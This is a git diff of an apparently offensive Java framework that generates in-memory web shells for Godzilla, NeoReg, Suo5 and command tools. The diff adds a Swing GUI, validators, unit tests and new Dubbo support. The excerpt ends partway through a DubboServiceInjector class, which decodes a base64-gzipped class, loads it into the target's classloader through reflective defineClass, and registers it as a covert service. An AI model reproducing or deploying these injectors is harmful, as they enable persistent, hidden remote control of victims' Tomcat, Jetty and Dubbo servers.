filePanel.setVisible(nextFileVisible);
base64Area.setText(s.getShellClassBase64());
} finally { updating = false; }
if (layoutVisibilityChanged) {
revalidate();
repaint();
}
}
}
@@ -0,0 +1,40 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
public class GodzillaToolPanel extends AbstractToolPanel {
private final JTextField passField = new JTextField();
private final JTextField keyField = new JTextField();
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public GodzillaToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
add(labeled("密码(可选)", passField), "growx");
add(labeled("密钥(可选)", keyField), "growx, wrap");
add(labeled("请求头名", headerNameField), "growx");
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
addRandomClassSection();
bindText(passField, controller::setGodzillaPass);
bindText(keyField, controller::setGodzillaKey);
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override
public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
try {
passField.setText(s.getGodzillaPass());
keyField.setText(s.getGodzillaKey());
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
}
}
@@ -0,0 +1,30 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import javax.swing.*;
public class NeoRegToolPanel extends AbstractToolPanel {
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public NeoRegToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
add(labeled("请求头名", headerNameField), "growx");
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
addRandomClassSection();
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
try {
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
}
}
@@ -0,0 +1,42 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import javax.swing.*;
public class ProxyToolPanel extends AbstractToolPanel {
private final JPanel headerPanel = new JPanel(new net.miginfocom.swing.MigLayout("insets 0, fillx, gapx 8", "[grow,fill][grow,fill]", "[]"));
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public ProxyToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
headerPanel.add(labeled("请求头名", headerNameField), "growx");
headerPanel.add(labeled("请求头值(可选)", headerValueField), "growx");
add(headerPanel, "span 2, growx, wrap, hidemode 3");
addRandomClassSection();
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
boolean layoutVisibilityChanged = false;
try {
boolean nextHeaderVisible = controller.isProxyHeaderVisible();
if (headerPanel.isVisible() != nextHeaderVisible) {
layoutVisibilityChanged = true;
}
headerPanel.setVisible(nextHeaderVisible);
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
if (layoutVisibilityChanged) {
revalidate();
repaint();
}
}
}
@@ -0,0 +1,5 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
public interface RefreshableToolPanel {
void refreshFromController();
}
@@ -0,0 +1,30 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import javax.swing.*;
public class Suo5ToolPanel extends AbstractToolPanel {
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public Suo5ToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
add(labeled("请求头名", headerNameField), "growx");
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
addRandomClassSection();
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
try {
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
}
}
@@ -0,0 +1,12 @@
package com.reajason.javaweb.desktop.memshell.util;
import java.awt.*;
import java.awt.datatransfer.StringSelection;
public final class ClipboardUtil {
private ClipboardUtil() {}
public static void copyText(String text) {
Toolkit.getDefaultToolkit().getSystemClipboard().setContents(new StringSelection(text == null ? "" : text), null);
}
}
@@ -0,0 +1,50 @@
package com.reajason.javaweb.desktop.memshell.util;
import javax.swing.*;
import javax.swing.filechooser.FileNameExtensionFilter;
import java.awt.*;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public final class FileSaveUtil {
private FileSaveUtil() {}
public static void saveText(Component parent, String suggestedName, String content) throws IOException {
File file = chooseFile(parent, suggestedName, new FileNameExtensionFilter("Text", "txt"));
if (file == null) return;
try (FileOutputStream fos = new FileOutputStream(file)) {
fos.write((content == null ? "" : content).getBytes(StandardCharsets.UTF_8));
}
}
public static void saveBase64AsBytes(Component parent, String suggestedName, String base64, String extension) throws IOException {
File file = chooseFile(parent, suggestedName, new FileNameExtensionFilter(extension.toUpperCase(), extension));
if (file == null) return;
byte[] bytes = Base64.getDecoder().decode(base64 == null ? "" : base64);
try (FileOutputStream fos = new FileOutputStream(file)) {
fos.write(bytes);
}
}
public static void saveBytes(Component parent, String suggestedName, byte[] bytes, String extension) throws IOException {
File file = chooseFile(parent, suggestedName, new FileNameExtensionFilter(extension.toUpperCase(), extension));
if (file == null) return;
try (FileOutputStream fos = new FileOutputStream(file)) {
fos.write(bytes);
}
}
public static File chooseFile(Component parent, String suggestedName, FileNameExtensionFilter filter) {
JFileChooser chooser = new JFileChooser();
chooser.setSelectedFile(new File(suggestedName));
chooser.setFileFilter(filter);
int result = chooser.showSaveDialog(parent);
if (result != JFileChooser.APPROVE_OPTION) {
return null;
}
return chooser.getSelectedFile();
}
}
@@ -0,0 +1,32 @@
package com.reajason.javaweb.desktop.memshell.util;
import javax.swing.*;
import java.awt.*;
public final class SwingUiUtil {
private SwingUiUtil() {}
public static JPanel titledPanel(String title, LayoutManager layout) {
JPanel panel = new JPanel(layout);
panel.setBorder(BorderFactory.createCompoundBorder(
BorderFactory.createTitledBorder(title),
BorderFactory.createEmptyBorder(6, 6, 6, 6)));
return panel;
}
public static void showError(Component parent, String message) {
JOptionPane.showMessageDialog(parent, message, "错误", JOptionPane.ERROR_MESSAGE);
}
public static void showInfo(Component parent, String message) {
JOptionPane.showMessageDialog(parent, message, "提示", JOptionPane.INFORMATION_MESSAGE);
}
public static void runOnEdt(Runnable runnable) {
if (SwingUtilities.isEventDispatchThread()) {
runnable.run();
} else {
SwingUtilities.invokeLater(runnable);
}
}
}
@@ -0,0 +1,73 @@
package com.reajason.javaweb.desktop.memshell.validation;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import java.util.LinkedHashMap;
import java.util.Map;
public class MemShellValidator {
public static class Result {
private final Map<String, String> fieldErrors = new LinkedHashMap<>();
public boolean isValid() {
return fieldErrors.isEmpty();
}
public Map<String, String> getFieldErrors() {
return fieldErrors;
}
public void add(String field, String message) {
fieldErrors.put(field, message);
}
public String firstMessage() {
return fieldErrors.values().stream().findFirst().orElse("");
}
}
public Result validate(MemShellFormState s) {
Result r = new Result();
required(r, "server", s.getServer(), "请选择服务类型");
required(r, "serverVersion", s.getServerVersion(), "请选择服务版本");
required(r, "shellTool", s.getShellTool(), "请选择内存马工具");
required(r, "shellType", s.getShellType(), "请选择内存马挂载类型");
required(r, "packingMethod", s.getPackingMethod(), "请选择打包方式");
if (needsUrlPattern(s.getShellType()) && isInvalidUrl(s.getUrlPattern())) {
r.add("urlPattern", "请使用具体 URL 路径,不能为 / 或 /*");
}
if ("Custom".equals(s.getShellTool()) && (s.getShellClassBase64() == null || s.getShellClassBase64().trim().isEmpty())) {
r.add("shellClassBase64", "自定义内存马 Class(Base64) 不能为空");
}
if ("TongWeb".equals(s.getServer()) && "Valve".equals(s.getShellType()) && "Unknown".equals(s.getServerVersion())) {
r.add("serverVersion", "TongWeb Valve 模式需要指定服务版本");
}
if ("Jetty".equals(s.getServer())
&& ("Handler".equals(s.getShellType()) || "JakartaHandler".equals(s.getShellType()))
&& "Unknown".equals(s.getServerVersion())) {
r.add("serverVersion", "Jetty Handler 模式需要指定服务版本");
}
return r;
}
public boolean needsUrlPattern(String shellType) {
if (shellType == null || shellType.trim().isEmpty()) return false;
if (shellType.startsWith("Agent")) return false;
return shellType.endsWith("Servlet") ||
shellType.endsWith("ControllerHandler") ||
shellType.equals("HandlerMethod") ||
shellType.equals("HandlerFunction") ||
shellType.endsWith("WebSocket");
}
public boolean isInvalidUrl(String urlPattern) {
return urlPattern == null || urlPattern.trim().isEmpty() || "/".equals(urlPattern) || "/*".equals(urlPattern) || !urlPattern.startsWith("/");
}
private void required(Result r, String field, String value, String message) {
if (value == null || value.trim().isEmpty()) {
r.add(field, message);
}
}
}
@@ -0,0 +1,51 @@
package com.reajason.javaweb.desktop.memshell.controller;
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
import org.junit.jupiter.api.Test;
import java.util.List;
import static org.junit.jupiter.api.Assertions.*;
class MemShellFormControllerTest {
@Test
void shouldAdjustJdkForSpringWebFluxAndResetDependentFields() {
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
controller.setServerVersion("Unknown");
controller.setUrlPattern("/abc");
controller.setServer("SpringWebFlux");
assertEquals("52", controller.getState().getTargetJdkVersion());
assertEquals("", controller.getState().getUrlPattern());
assertNotNull(controller.getState().getShellTool());
assertFalse(controller.getState().getShellTool().isEmpty());
}
@Test
void shouldFilterAgentPackersForAgentShellType() {
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
controller.setShellType("AgentFilterChain");
List<?> filtered = controller.getFilteredPackers();
assertFalse(filtered.isEmpty());
assertTrue(controller.getFilteredPackers().stream().allMatch(p -> p.getName().startsWith("Agent")));
}
@Test
void shouldToggleRandomClassNameAndRestoreValues() {
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
controller.setRandomClassName(false);
controller.setShellClassName("a.b.C");
controller.setInjectorClassName("x.y.Z");
controller.setRandomClassName(true);
assertEquals("", controller.getState().getShellClassName());
assertEquals("", controller.getState().getInjectorClassName());
controller.setRandomClassName(false);
assertEquals("a.b.C", controller.getState().getShellClassName());
assertEquals("x.y.Z", controller.getState().getInjectorClassName());
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.desktop.memshell.service;
import org.junit.jupiter.api.Test;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Base64;
import static org.junit.jupiter.api.Assertions.*;
class CustomClassNameParserTest {
@Test
void shouldParseClassNameFromClassBytesAndBase64() throws Exception {
CustomClassNameParser parser = new CustomClassNameParser();
byte[] bytes = readOwnClassBytes();
String expected = this.getClass().getName();
assertEquals(expected, parser.parseClassName(bytes));
assertEquals(expected, parser.parseClassNameFromBase64(Base64.getEncoder().encodeToString(bytes)));
}
private byte[] readOwnClassBytes() throws IOException {
String resource = "/" + this.getClass().getName().replace('.', '/') + ".class";
InputStream in = this.getClass().getResourceAsStream(resource);
assertNotNull(in);
try (InputStream is = in; ByteArrayOutputStream out = new ByteArrayOutputStream()) {
byte[] buf = new byte[4096];
int n;
while ((n = is.read(buf)) != -1) out.write(buf, 0, n);
return out.toByteArray();
}
}
}
@@ -0,0 +1,29 @@
package com.reajason.javaweb.desktop.memshell.service;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
class GenerationServiceTest {
@Test
void shouldGenerateTomcatGodzillaListenerWithBase64Packer() {
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
controller.setServer("Tomcat");
controller.setShellTool("Godzilla");
controller.setShellType("Listener");
controller.setPacker("Base64");
GenerationService service = new GenerationService();
DesktopMemShellGenerateResult result = service.generate(controller.getState().copy());
assertNotNull(result);
assertEquals("Base64", result.getPackMethod());
assertNotNull(result.getPackResult());
assertFalse(result.getPackResult().isEmpty());
assertNotNull(result.getMemShellResult().getShellBytesBase64Str());
assertNotNull(result.getMemShellResult().getInjectorBytesBase64Str());
}
}
@@ -0,0 +1,56 @@
package com.reajason.javaweb.desktop.memshell.ui;
import org.junit.jupiter.api.Assumptions;
import org.junit.jupiter.api.Test;
import javax.swing.*;
import java.awt.*;
import static org.junit.jupiter.api.Assertions.*;
class MemShellGeneratorFrameLayoutTest {
@Test
void shouldUseStackedLayoutWithoutSplitPaneAndKeepGenerateButton() throws Exception {
Assumptions.assumeFalse(GraphicsEnvironment.isHeadless(), "Headless environment");
final MemShellGeneratorFrame[] ref = new MemShellGeneratorFrame[1];
SwingUtilities.invokeAndWait(new Runnable() {
@Override
public void run() {
ref[0] = new MemShellGeneratorFrame();
}
});
try {
final JComponent[] contentRef = new JComponent[1];
final JButton[] buttonRef = new JButton[1];
final Dimension[] minSizeRef = new Dimension[1];
SwingUtilities.invokeAndWait(new Runnable() {
@Override
public void run() {
contentRef[0] = ref[0].getMainContentPanel();
buttonRef[0] = ref[0].getGenerateButton();
minSizeRef[0] = ref[0].getMinimumSize();
}
});
assertNotNull(contentRef[0]);
assertFalse(contentRef[0] instanceof JSplitPane, "main content should not be a JSplitPane");
assertNotNull(buttonRef[0]);
assertTrue(buttonRef[0].isEnabled());
assertNotNull(minSizeRef[0]);
assertTrue(minSizeRef[0].width >= 1180);
assertTrue(minSizeRef[0].height >= 900);
} finally {
SwingUtilities.invokeAndWait(new Runnable() {
@Override
public void run() {
if (ref[0] != null) {
ref[0].dispose();
}
}
});
}
}
}
@@ -0,0 +1,71 @@
package com.reajason.javaweb.desktop.memshell.ui;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
import com.reajason.javaweb.desktop.memshell.service.GenerationService;
import com.reajason.javaweb.desktop.memshell.ui.panel.ResultPanel;
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
import org.junit.jupiter.api.Test;
import javax.swing.*;
import java.awt.*;
import static org.junit.jupiter.api.Assertions.*;
class ResultPanelBasicInfoLayoutTest {
@Test
void shouldUseStructuredNoScrollBasicInfo() throws Exception {
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
controller.setServer("Tomcat");
controller.setShellTool("Godzilla");
controller.setShellType("Listener");
controller.setPacker("Base64");
DesktopMemShellGenerateResult result = new GenerationService().generate(controller.getState().copy());
final ResultPanel panel = new ResultPanel();
SwingUtilities.invokeAndWait(new Runnable() {
@Override
public void run() {
panel.showResult(result);
}
});
JComponent basic = panel.getBasicInfoComponent();
assertNotNull(basic);
assertTrue(basic instanceof JPanel);
assertFalse(containsScrollPane(basic), "basic info section should not contain JScrollPane");
assertTrue(containsText(panel, "服务类型"));
assertTrue(containsText(panel, "内存马功能"));
assertTrue(containsText(panel, "注入器类名"));
assertTrue(containsText(panel, "内存马类名"));
}
private boolean containsScrollPane(Component c) {
if (c instanceof JScrollPane) return true;
if (c instanceof Container) {
for (Component child : ((Container) c).getComponents()) {
if (containsScrollPane(child)) return true;
}
}
return false;
}
private boolean containsText(Component c, String expected) {
if (c instanceof JLabel) {
String text = ((JLabel) c).getText();
if (text != null && text.contains(expected)) return true;
}
if (c instanceof JTextField) {
String text = ((JTextField) c).getText();
if (text != null && text.contains(expected)) return true;
}
if (c instanceof Container) {
for (Component child : ((Container) c).getComponents()) {
if (containsText(child, expected)) return true;
}
}
return false;
}
}
@@ -0,0 +1,59 @@
package com.reajason.javaweb.desktop.memshell.validation;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
class MemShellValidatorTest {
private final MemShellValidator validator = new MemShellValidator();
@Test
void shouldRejectGenericUrlPatternWhenRequired() {
MemShellFormState s = new MemShellFormState();
s.setPackingMethod("Base64");
s.setShellType("Servlet");
s.setUrlPattern("/*");
MemShellValidator.Result result = validator.validate(s);
assertFalse(result.isValid());
assertTrue(result.getFieldErrors().containsKey("urlPattern"));
}
@Test
void shouldAllowNoUrlPatternForListener() {
MemShellFormState s = new MemShellFormState();
s.setPackingMethod("Base64");
s.setShellType("Listener");
s.setUrlPattern("/*");
MemShellValidator.Result result = validator.validate(s);
assertTrue(result.isValid());
}
@Test
void shouldRequireCustomShellBase64ForCustomTool() {
MemShellFormState s = new MemShellFormState();
s.setPackingMethod("Base64");
s.setShellTool("Custom");
s.setShellClassBase64("");
MemShellValidator.Result result = validator.validate(s);
assertFalse(result.isValid());
assertTrue(result.getFieldErrors().containsKey("shellClassBase64"));
}
@Test
void shouldRequireJettyVersionForHandler() {
MemShellFormState s = new MemShellFormState();
s.setPackingMethod("Base64");
s.setServer("Jetty");
s.setShellType("Handler");
s.setServerVersion("Unknown");
s.setUrlPattern("/x");
MemShellValidator.Result result = validator.validate(s);
assertFalse(result.isValid());
assertTrue(result.getFieldErrors().containsKey("serverVersion"));
}
}
+2
View File
@@ -29,6 +29,7 @@ tasks.test {
dependencies {
implementation(project(":memshell-party-common"))
implementation(project(":packer"))
implementation(project(":thirdparty:thirdparty-tomcat"))
api(libs.byte.buddy)
implementation(libs.asm.commons)
implementation(libs.javax.websocket.api)
@@ -40,6 +41,7 @@ dependencies {
implementation(libs.reactor.netty.core)
implementation(libs.jackson.annotations)
implementation(libs.bundles.jna)
implementation("org.apache.dubbo:dubbo:2.7.8")
testImplementation(libs.junit.jupiter)
testImplementation(libs.hamcrest)
@@ -21,4 +21,5 @@ public class Server {
public static final String SpringWebFlux = "SpringWebFlux";
public static final String XXLJOB = "XXLJOB";
public static final String Struct2 = "Struct2";
public static final String Dubbo = "Dubbo";
}
@@ -1,9 +1,11 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.asm.ClassInterfaceUtils;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
import com.reajason.javaweb.memshell.server.AbstractServer;
@@ -15,6 +17,7 @@ import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import com.reajason.javaweb.utils.CommonUtil;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.Strings;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
@@ -60,20 +63,36 @@ public class MemShellGenerator {
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
injectorConfig.setShellClassBytes(shellBytes);
if (ShellType.DUBBO_SERVICE.equals(shellConfig.getShellType())) {
String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
String interfaceName = packageName + ".I" + simpleName;
injectorConfig.setInjectorHelperClassName(interfaceName);
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
String urlPattern = injectorConfig.getUrlPattern();
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
|| StringUtils.isBlank(urlPattern)) {
injectorConfig.setUrlPattern(interfaceName);
}
}
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
String helperClassName = shellToolConfig.getShellClassName() + "$1";
injectorConfig.setInjectorHelperClassName(helperClassName);
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
}
injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
injectorConfig.setShellClassBytes(shellBytes);
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
byte[] injectorBytes = injectorGenerator.generate();
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
ProbeConfig probeConfig = ProbeConfig.builder()
.shellClassName(injectorConfig.getInjectorClassName() + "1")
.shellClassName(injectorConfig.getInjectorClassName() + "Wrapper")
.probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.Bytecode)
.targetJreVersion(shellConfig.getTargetJreVersion())
@@ -32,6 +32,8 @@ public class MemShellResult {
private transient Map<String, byte[]> injectorInnerClassBytes;
private long injectorSize;
private String injectorBytesBase64Str;
private String injectorHelperBytesBase64Str;
private long injectorHelperSize;
private ShellConfig shellConfig;
private ShellToolConfig shellToolConfig;
private InjectorConfig injectorConfig;
@@ -46,13 +48,20 @@ public class MemShellResult {
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
injectorSize = injectorBytes.length;
}
if (injectorConfig != null && injectorConfig.getHelperClassBytes() != null) {
injectorHelperBytesBase64Str = Base64.getEncoder().encodeToString(injectorConfig.getHelperClassBytes());
injectorHelperSize = injectorConfig.getHelperClassBytes().length;
}
return new MemShellResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize,
injectorBytesBase64Str, injectorHelperBytesBase64Str, injectorHelperSize,
shellConfig, shellToolConfig, injectorConfig);
}
}
public JarPackerConfig toJarPackerConfig() {
JarPackerConfig jarPackerConfig = new JarPackerConfig();
JarPackerConfig<?> jarPackerConfig = new JarPackerConfig<>();
jarPackerConfig.setMainClassName(injectorClassName);
Map<String, byte[]> bytes = new HashMap<>();
bytes.put(shellClassName, shellBytes);
@@ -65,7 +74,7 @@ public class MemShellResult {
}
public ClassPackerConfig toClassPackerConfig() {
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
ClassPackerConfig<?> classPackerConfig = new ClassPackerConfig<>();
classPackerConfig.setClassName(injectorClassName);
classPackerConfig.setClassBytes(injectorBytes);
classPackerConfig.setClassBytesBase64Str(injectorBytesBase64Str);
@@ -47,6 +47,7 @@ public class ServerFactory {
register(Server.SpringWebFlux, SpringWebFlux::new);
register(Server.XXLJOB, XxlJob::new);
register(Server.Struct2, Struct2::new);
register(Server.Dubbo, Dubbo::new);
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class)
@@ -162,6 +163,7 @@ public class ServerFactory {
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
.addShellClass(ACTION, CommandStruct2Action.class)
.addShellClass(DUBBO_SERVICE, CommandDubboService.class)
.build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
@@ -49,5 +49,7 @@ public class ShellType {
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
public static final String DUBBO_SERVICE = "DubboService";
public static final String ACTION = "Action";
}
@@ -43,6 +43,11 @@ public class InjectorConfig {
*/
private byte[] shellClassBytes;
/**
* 辅助类类名
*/
private String injectorHelperClassName;
/**
* 辅助类字节码
*/
@@ -0,0 +1,19 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.shelltool.ShellDubboService;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
public class DubboServiceInterfaceHelperGenerator {
public static byte[] getBytes(String interfaceName, ShellConfig shellConfig) {
try (DynamicType.Unloaded<ShellDubboService> make = new ByteBuddy()
.redefine(ShellDubboService.class)
.name(interfaceName)
.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -7,7 +7,6 @@ import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
import com.reajason.javaweb.utils.CommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.tuple.Pair;
@@ -19,7 +18,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @since 2026/1/13
*/
public class WebSocketByPassHelperGenerator {
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
if (headerPair == null) {
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
@@ -31,7 +30,7 @@ public class WebSocketByPassHelperGenerator {
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.field(named("headerName")).value(headerPair.getKey())
.field(named("headerValue")).value(headerPair.getValue())
.name(CommonUtil.generateClassName());
.name(helperClassName);
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
@@ -0,0 +1,283 @@
package com.reajason.javaweb.memshell.injector.dubbo;
import org.apache.dubbo.common.bytecode.ClassGenerator;
import org.apache.dubbo.common.utils.ClassUtils;
import org.apache.dubbo.common.utils.NetUtils;
import org.apache.dubbo.config.ProtocolConfig;
import org.apache.dubbo.config.RegistryConfig;
import org.apache.dubbo.config.ServiceConfig;
import org.apache.dubbo.config.context.ConfigManager;
import org.apache.dubbo.rpc.model.ApplicationModel;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.stream.Collectors;
import java.util.zip.GZIPInputStream;
public class DubboServiceInjector {
private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public String getHelperBase64String() {
return "{{helperBase64String}}";
}
public DubboServiceInjector() {
if (ok) {
return;
}
try {
msg += registerService();
} catch (Throwable e) {
msg += "unexcepted error: " + getErrorMessage(e);
}
ok = true;
System.out.println(msg);
}
private Class<?> getShell(String base64String) throws Exception {
ClassLoader classLoader = ClassUtils.getClassLoader(ClassGenerator.class);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(base64String));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",
String.class, byte[].class, int.class, int.class, java.security.ProtectionDomain.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, null, clazzByte, 0, clazzByte.length,
ClassGenerator.class.getProtectionDomain());
registerInJavassistClassPool(classLoader, clazzByte);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz;
}
private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) {
try {
Object pool = ClassGenerator.getClassPool(classLoader);
pool.getClass().getMethod("makeClass", java.io.InputStream.class)
.invoke(pool, new ByteArrayInputStream(classBytes));
} catch (Throwable ignored) {
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
